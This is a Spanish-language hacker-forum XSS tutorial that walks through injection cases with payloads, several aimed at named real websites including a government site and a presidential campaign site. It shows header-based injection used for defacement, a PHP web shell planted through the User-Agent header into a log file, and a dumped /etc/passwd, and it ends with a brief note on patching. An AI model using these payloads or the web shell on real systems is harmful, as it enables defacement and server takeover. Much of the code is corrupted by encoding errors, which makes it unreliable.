Pero iremos mas all del alert(); Qu quiere decir esto? Que no nos vamos a limitar a sacar el XSS simplemente con el tipico script: <script>alert("XSS")</script> Saludos a los Friends: - Celciuz - you_kn0w - N.O.X - C1c4Tr1Z - OzX - MurdeR - Syst3m-c0d3r - m0x.lk Saludos a todos los usuarios de: http://new-bytes.net http://diosdelared.com http://www.z0l-web.co.nr [ 0x001 ] - Introduccin XSS, Cross Site Scripting Una de las vulnerabilidades mas habituales hoy en da. Muy Peligrosa como todas las demas, si la sabes aprovechar puedes hacer de todo con ella. Recuerden lo que dicen: Una vulnerabilidad es tan limitada como tu quieras que sea :) Desde un Robo de Cookies Hasta un Deface. Solo necesitas 2 cosas: 1) Conocimiento 2) Imaginacin Despus, el lmite es el cielo. [ Caso 1 ] - Salindonos del Formulario. Uno de los casos mas comunes =) Codigo del formulario vulnerable: = = = = = = = = = = = = = = = = = = = = = = = = = = = = = <html> <head> <title>Formulario de Busqueda</title> </head> <body> <center> <? if(isset($_POS!te"to#$$% $"ss&$_POS!te"to#' echo (<form name&)("ss)( method&)(POS)(> <h*>+ ,esultados</h*><br><hr><br><in-ut ty-e&)(te"t)( .alue&)($"ss)( name&)(te"to)(><br><br> <in-ut ty-e&)(submit)( .alue&)(Buscar)(></form>(' / else % echo (<form name&)("ss)( method&)(POS)(> <h*>Formulario de busqueda</h*><br><hr><br><in-ut ty-e&)(te"t)( .alue&)()( name&)(te"to)(><br><br> <in-ut ty-e&)(submit)( .alue&)(Buscar)(></form>(' / ?> </center> </body> </html> = = = = = = = = = = = = = = = = = = = = = = = = = = = = = Como vemos en el source, si buscamos algo, lo que buscamos queda incrustado en el form. Esto es sencillo: ">Hola - "><script>alert("XSS")</script> Lo cual es logico ya que el formulario quedara asi: <input type="text" value=""> [ Caso 2 ] - Limitaciones en ciertos caracteres / Campos de textos Limitados Otro caso muy comn. Me tope con este caso en la web: http://www.puebla.gob.mx No poda meter en el form nada de tipo: ">$#-|/()=\*? Ni ningn carcter especial. Busque un simple texto ( hola ) y parte de la url quedo as: resultadosgeneral.jsp?palabra=hola&servicios=0 Asi que .. Hice algo as: http://url/resultadosgeneral.jsp? palabra="><script>alert(/OK/)</script>&servicios=0 Bingo ! Esto nos sirve tambin para Campos de texto limitados. Esto tambin lo podemos hacer con TAMPER DATA (ADDON De Firefox). Modificando el contenido que se enva por POST: = = = = = = == = = = == = = = == = = = == = = = = [ Caso 3 ] - Jugando con un Textarea Navegando pase por una web ( www.yourownbux.com ) a la cual ya le haba encontrado un XSS en el formulario de busqueda. Esta vez aadieron un formulario de contacto, que luce as: Y me dije .. Mm .. Por qu no? Source del Textarea: = = = = = = == = = = == = = = == = = = == = = = = <te"tarea style&(0idth123+-"' hei4ht1*3+-"( name&messa4e></te"tarea> = = = = = = == = = = == = = = == = = = == = = = = Como pueden ver con un simple "> No se puede bypassear .. Que podemos hacer? Si introducimos un Texto .. Queda asi: = = = = = = == = = = == = = = == = = = == = = = = <te"tarea style&(0idth123+-"' hei4ht1*3+-"( name&messa4e>5ensa6e </te"tarea> = = = = = = == = = = == = = = == = = = == = = = = Mm ... = = = = = = == = = = == = = = == = = = == = = = = </te"tarea><scri-t>alert(/P789:/$</scri-t> = = = = = = == = = = == = = = == = = = == = = = = Quedara asi no? : = = = = = = == = = = == = = = == = = = == = = = = <te"tarea style&(0idth123+-"' hei4ht1*3+-"( name&messa4e> </textarea> <scri-t>alert(/P789:/$</scri-t> </te"tarea> = = = = = = == = = = == = = = == = = = == = = = = [ Caso 5 ] - Jugando con Los Headers Bueno, esto es muy interesante, vamos a jugar con los headers para sacar XSS =) . 1 - User Agent Source: = = = = = = = = = = = = = = = = = = = = = = = = = = = = = <?-h- $na. & $_S9,;9,!<=P_>S9,_?@98<#' echo (<b><center><h*>8a.e4ador1</h*><br><hr><br>$na.</center></b>( ' ?> = = = = = = = = = = = = = = = = = = = = = = = = = = = = = Header: =ost1 localhost >serA?4ent1 5oBilla/CD+ (com-atible' 5SE9 FD+' 7indo0s GF$ ?cce-t1 te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain' q&+DJHima4e/-n4HK/K'q&+DF ?cce-tALan4ua4e1 en ?cce-tA9ncodin41 4Bi-Hdeflate ?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN Oee-A?li.e1 2++ Monnection1 Pee-Aali.e Y Si lo modificamos? =ost1 localhost User-Agent: No me acuerdo el nombre :$ ?cce-t1 te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain' q&+DJHima4e/-n4HK/K'q&+DF ?cce-tALan4ua4e1 en ?cce-tA9ncodin41 4Bi-Hdeflate ?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN Oee-A?li.e1 2++ Monnection1 Pee-Aali.e Y . User-Agent: <script>alert(/Yeah/)</script> 2 - Referer Header: =ost1 000DcualAesAmiAi-A-ublicaDcom >serA?4ent1 5oBilla/CD+ (com-atible' 5SE9 FD+' 7indo0s GF$ ?cce-t1 te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain' q&+DJHima4e/-n4HK/K'q&+DF ?cce-tALan4ua4e1 en ?cce-tA9ncodin41 4Bi-Hdeflate ?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN Oee-A?li.e1 2++ Monnection1 Pee-Aali.e Referer: http://google.com.do MooPie1 KKKKKK Y si lo modificamos? =ost1 000DcualAesAmiAi-A-ublicaDcom >serA?4ent1 5oBilla/CD+ (com-atible' 5SE9 FD+' 7indo0s GF$ ?cce-t1 te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain' q&+DJHima4e/-n4HK/K'q&+DF ?cce-tALan4ua4e1 en ?cce-tA9ncodin41 4Bi-Hdeflate ?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN Oee-A?li.e1 2++ Monnection1 Pee-Aali.e Referer: <script>alert(/Yeah/)</script> MooPie1 KKKKKK 3 - X-Forwarded-For Bueno, en este caso no le dar mucha explicacin, solo dir que me tope con un reto de Spoof ( no dir donde para no arruinar el reto ) .. Y Pues, jugando con los headers, el reto se pasaba de la siguiente manera: =ost1 000DcualAesAmiAi-A-ublicaDcom >serA?4ent1 5oBilla/CD+ (com-atible' 5SE9 FD+' 7indo0s GF$ ?cce-t1 te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain' q&+DJHima4e/-n4HK/K'q&+DF ?cce-tALan4ua4e1 en ?cce-tA9ncodin41 4Bi-Hdeflate ?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN Oee-A?li.e1 2++ Monnection1 Pee-Aali.e ,eferer1 htt-1//4oo4leDcom X-Forwarded-For: 127.0.0.1 MooPie1 KKKKKK Siendo 127.0.0.1 La IP A Spoofear. Esto daba como output la IP .. En este caso sera: 127.0.0.1 Por lo tanto: =ost1 000DcualAesAmiAi-A-ublicaDcom >serA?4ent1 5oBilla/CD+ (com-atible' 5SE9 FD+' 7indo0s GF$ ?cce-t1 te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain' q&+DJHima4e/-n4HK/K'q&+DF ?cce-tALan4ua4e1 en ?cce-tA9ncodin41 4Bi-Hdeflate ?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN Oee-A?li.e1 2++ Monnection1 Pee-Aali.e ,eferer1 htt-1//4oo4leDcom X-Forwarded-For: <script>alert(/Yeah/)</script> MooPie1 KKKKKK Es igual a: [ Caso 6 ] - STR_Replace Qu hacer cuando no contamos con un <script> para un XSS? <?-h- if(isset($_@9!"ss#$$% $"ss & $_@9!<"ss<#' $"ss3 & str_re-lace((<scri-t>(H ((H $"ss$' $"ss2 & str_re-lace((alert(H ((H $"ss3$' echo (<form name&)(=i)(> <in-ut ty-e&)(te"t)( .alue&)($"ss2)( siBe&)(2+)(> </form>(' / ?> Si intentamos poner: <script>alert(Yeah)</script> .. Quedara asi: alert(Yeah)</script> y por lo tanto, no se produce la alerta. Pero obviamente vamos a tratar de ir mas alla. Como vemos en el source, si buscamos " aaa " este es el resultado: <input type="text" value="aaa" size="30"> Parecera un caso facil de "><script>alert(WTF)</script> pero no podemos usar <script> =) Asi que, solo nos queda pensar . El script es COMPLETAMENTE VULNERABLE, las variables se imprimen tal cual se reciben ( excluyendo <script> ) Aqu vamos a usar los Eventos de Javascript (http://www.w3schools.com/js/js_events.asp). Usaremos: onblur Si introducimos: Onblur=alert(000) no se produce la alerta, ya que queda DENTRO Del form.. Por lo tanto .. Si introducimos: " hola Sera asi: <input type="text" value="" hola size="30"> Por lo tanto, el valor del form quedara NULO =) " Onblur=alert(666) " <input type="text" value="" " Onblur=alert(666) " size="30"> En este caso estaramos aadiendo una propiedad o evento al input =) .. Provocando un XSS: [ Caso 7 ] - Barackobama.com || [ C1c4Tr1Z ] Para esta prueba voy a usar una que es conocida en estos momentos, se trata de el sitio oficial de uno de los candidatos a la presidencia de EEUU (se lo merecen). La URL es http://my.barackobama.com/ y la seccin que es vulnerable http://my.barackobama.com/page/s/fellowsapp (aunque hay otra seccin que es exactamente igual: http://my.barackobama.com/page/s/). Pero me dirn: Por que es vulnerable? Porque la aplicacin nos permite ingresar cualquier tipo de caracteres luego de la URL, sin necesitar ningn tipo de peticin, formulario, etc. Por ejemplo, si agregramos: http://my.barackobama.com/page/s/fellowsapp+foo@bar nos dara como resultado lo siguiente: Y el pedazo de cdigo: <di. id&QcontentQ> <di. id&Qcolumn*R><di. id&Q-a4e_contentQ><h3>En.alid si4nu- form requested1 <stron4>fello0sa-- fooSbar</stron4></h3> </di.> Entonces como toda persona apresurada, probamos lo siguiente: http://my.barackobama.com/page/s/fellowsapp"><script>al ert(666)</script> Pero lo que vemos en la fuente es lo siguiente: <di. id&QcontentQ> <di. id&Qcolumn*R><di. id&Q-a4e_contentQ><h3>En.alid si4nu- form requested1 <stron4>fello0sa--)Q><scri-t>alert(TTT$<</stron4></h3> </di.> De aqu en mas solo queda PENSAR!. Las conclusiones que podemos llegar a sacar de esto son: la aplicacin permite el ingreso de <tags> iniciales pero que no concluyan con la inyeccin, o sea </script> </iframe> etc. Porque borrara todo lo que sea ingresado despes de la barra "/". Y filtra las famosas "quotes" o comillas agregando una barra invertida, o sea " -> \" o ' -> \' . Entonces, el mtodo mas rpido que podramos usar para resolver este problema serian <tags> que no necesiten la utilizacin de finales, por ejemplo <img> o <a href>, hay muchos mas solo hace falta el ingenio :-P. En este caso opte por el mas simple, <img>. La forma que utilice es la siguiente, que automticamente la transforma en un vector XSS: <img src=. onerror=alert(666)> Para el que no lo entendi paso a explicarlo. Se crea el tag <img> con una fuente o "src" sin direccin o una direccin errnea, en este caso "." . En ese momento explico que al producirse un error al cargarse la imagen, que estoy 100% seguro que va a ocurrir por la src especificada, se llebe acabo una accin usando "onerror". Entonces digo que en caso de error se envie una alerta, o sea "alert(666)". Para esa instancia no hay necesidad de cerrar ningn tag HTML dando por concluido la alerta. [ Caso 8 ] - HTMLEntities Bypass [ UTF-7 ] ||C1c4Tr1z Voy a pasar a dar una explicacin rpida , Seguramente habrn visto en alguna pagina que se podra realizar un "bypass" de htmlentities, pero es cierto en parte ya que solo funciona en codificacin UTF-7.. Segn Wikipedia, la codificacin UTF-7, es descrita de la siguiente manera: UTF-7 (7-bit Unicode Transformation Format) es una codificacin de caracteres de longitud variable que fue propuesta para representar texto codificado con Unicode usando un flujo de caracteres ASCII, para ser usado, por ejemplo en mensajes de correo electrnico de Internet. Aunque ya muchas webs utilizan la codificacin UTF-8 al pasar htmlentities o todava utilizan caracteres UTF-7, es posible que se pueda hacer un "bypass" de la funcin htmlentities(). Un pequeo cdigo para realizar pasar un string a UTF-7 puede ser el siguiente: <? $"&$_@9!<"<#' $"&mb_con.ert_encodin4($"H <>FAN<$' echo $"' ?> Entonces, si queremos pasar "<string>alert(/XSS/)</script>" dandonos como resultado "+ADw-string+AD4-alert(/XSS/) +ADw-/script+AD4-". Una pequea prueba de concepto puede ser, usando el mismo cdigo pero agregando: <? header(<MontentAy-e1 te"t/html' charset&>FAN<$' $"&$_@9!<"<#' $"&mb_con.ert_encodin4($"H <>FAN<$' echo htmlentities($"$' ?> Y aun as recibiramos un gran y enorme XSS de alerta. Para alguno que sea escptico, Google.com era vulnerable a este ataque cuando lanzaba la pagina 404 (Not Found). [ Caso 9 ] - Defaceando una web Mediante XSS en Los Headers Bueno, para los que leyeron el Caso 5, aqu les voy a demostrar como le hice un deface a una web mediante XSS en los headers. La pgina guardaba El Navegador / IP de cada visita. Yo supongo que el source .. Era algo asi: <html> <body> <center><font siBe&QFQ face&Q.erdanaQ color&QblacPQ>Bien.enido</font> <?-h- $i- & $_S9,;9,!<,95O9_?::,<#' $na. & $_S9,;9,!<=P_>S9,_?@98<#' $file & <lo4sDt"t<' $f- & fo-en($fileH (a($' $0rite & ()nEP1 (D$i-D()n(D(8a.e4ador1 (D $na.D()n(D(&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&(' f0rite($f-H $strin4$' fclose($f-$' ?> </body> </html> Y si jugamos con los headers: =ost1 KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK User-Agent: "><font size="50">0wn3d</font> ?cce-t1 te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain' q&+DJHima4e/-n4HK/K'q&+DF ?cce-tALan4ua4e1 en ?cce-tA9ncodin41 4Bi-Hdeflate ?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN Oee-A?li.e1 2++ Monnection1 Pee-Aali.e Si, Casi un deface =) =ost1 KKKKKKKKKKKKKKKKKKK User-Agent: <script>document.documentElement.innerHTML="So, Fucking PWNED"</script> ?cce-t1 te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain' q&+DJHima4e/-n4HK/K'q&+DF ?cce-tALan4ua4e1 en ?cce-tA9ncodin41 4Bi-Hdeflate ?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN Oee-A?li.e1 2++ Monnection1 Pee-Aali.e Solo tenemos que usar la imaginacin, podemos usar iframes y todo lo que se nos ocurra. Deface a un PHP ! Si, si, por increble que parezca, me tope con una web en la que se guardaban todos los datos del visitante en un archivo llamado " Log.php " El header me quedo asi: =ost1 KKKKKKKKKKKKKKKKKKKK User-Agent: <? if(isset($_GET['cmd'])) { $x=$_GET['cmd']; system("$x"); } ?> ?cce-t1 te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain' q&+DJHima4e/-n4HK/K'q&+DF ?cce-tALan4ua4e1 en ?cce-tA9ncodin41 4Bi-Hdeflate ?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN Oee-A?li.e1 2++ Monnection1 Pee-Aali.e Ya, ah solo tendramos que usar la imaginacin =) root1"1+1+1root1/root1/bin/bash bin1"1*1*1bin1/bin1/sbin/nolo4in daemon1"13131daemon1/sbin1/sbin/nolo4in adm1"121C1adm1/.ar/adm1/sbin/nolo4in l-1"1C1N1l-1/.ar/s-ool/l-d1/sbin/nolo4in sync1"1F1+1sync1/sbin1/bin/sync shutdo0n1"1T1+1shutdo0n1/sbin1/sbin/shutdo0n halt1"1N1+1halt1/sbin1/sbin/halt mail1"1J1*31mail1/.ar/s-ool/mail1/sbin/nolo4in ne0s1"1G1*21ne0s1/etc/ne0s1 uuc-1"1*+1*C1uuc-1/.ar/s-ool/uuc-1/sbin/nolo4in o-erator1"1**1+1o-erator1/root1/ sbin/nolo4in 4ames1"1*31*++14ames1/usr/4ames1/sbin/nolo4in 4o-her1"1*212+14o-her1/.ar/4o-her1/sbin/nolo4in ft-1"1*C1F+1FP >ser1/.ar/ft-1/sbin/nolo4in nobody1"1GG1GG18obody1/1/sbin/nolo4in dbus1"1J*1J*1System messa4e bus1/1/sbin/nolo4in .csa1"1TG1TG1.irtual console memory o0ner1/de.1/sbin/nolo4in r-m1"12N12N11/.ar/lib/r-m1/sbin/nolo4in haldaemon1"1TJ1TJ1=?L daemon1/1/sbin/nolo4in netdum-1"12C12C18et0orP Mrash :um- user1/.ar/crash1/bin/bash nscd1"13J13J18SM: :aemon1/1/sbin/nolo4in sshd1"1NC1NC1Pri.ile4eAse-arated SS=1/.ar/em-ty/sshd1/sbin/nolo4in r-c1"1231231Portma--er ,PM user1/1/sbin/nolo4in mailnull1"1CN1CN11/.ar/s-ool/mqueue1/sbin/nolo4in smms-1"1F*1F*11/.ar/s-ool/mqueue1/sbin/nolo4in -ca-1"1NN1NN11/.ar/ar-0atch1/sbin/nolo4in a-ache1"1CJ1CJ1?-ache1/.ar/0001/sbin/nolo4in squid1"13213211/.ar/s-ool/squid1/ sbin/nolo4in 0ebaliBer1"1TN1TN17ebaliBer1/.ar/000/usa4e1/sbin/nolo4in "fs1"1C21C21U Font Ser.er1/etc/U**/fs1/sbin/nolo4in nt-1"12J12J11/etc/nt-1/sbin/nolo4in named1"13F13F18amed1/.ar/named1/sbin/nolo4in do.ecot1"1GN1GN1do.ecot1/usr/libe"ec/do.ecot1/sbin/nolo4in -e4asus1"1TT1TF1to4A -e4asus O-enPe4asus 7B95/ME5 ser.ices1/.ar/lib/Pe4asus1/sbin/nolo4in r-cuser1"13G13G1,PM Ser.ice >ser1/.ar/lib/nfs1/sbin/nolo4in nfsnobody1"1TFF2C1TFF2C1?nonymous 8FS >ser1/.ar/lib/nfs1/sbin/nolo4in mysql1"1*++1*+*15ySVL ser.er1/.ar/lib/mysql1/bin/bash mailman1"123++*123++*11/usr/local/c-anel/2rd-arty/mailman1/bin/bash c-anel1"123++3123++211/usr/local/c-anel1/bin/bash moroBo.21"123++2123++C11/home/moroBo.21/usr/local/c-anel/bin/noshell [ 0x002 ] - Parcheando el XSS Bueno, antes de concluir el paper, vamos a ver como parchear el XSS. Usaremos la funcin: htmlspecialchars. Esta funcin Convierte caracteres especiales en entidades de HTML. Cmo Usarla? Sencillo. Por Ejemplo, recibimos un valor en x y lo almacenamos en la variable y: $y & $_@9!W"X#' Pero, en vez de imprimirlo tal cual se recibe . Le aplicamos la funcin a la variable y: htmls-ecialchars(($y(H 98_V>O9S$' Y Listo =) Tambin podemos usar htmlentities ( Ojo con el UTF-7 { Aunque hoy en dia el 90% de las webs utilizan UTF-8 } ) : htmlentities($y$' [ 0x003 ] - Conclusin Bueno, espero que hayan entendido la finalidad del paper, es importante no limitarnos simplemente a explotar una vulnerabilidad de la manera mas simple. Como dije anteriormente " Una vulnerabilidad es tan limitada como quieras que sea ", como dije, solo se necesita imaginacin y el limite es el cielo. Escrito Por: Tec-n0x Contacto: Tec-n0x [ @ ] Hotmail [ . ] com Www.Editcodex.NET - Proximamente Gr33tz Especiales: C1c4Tr1Z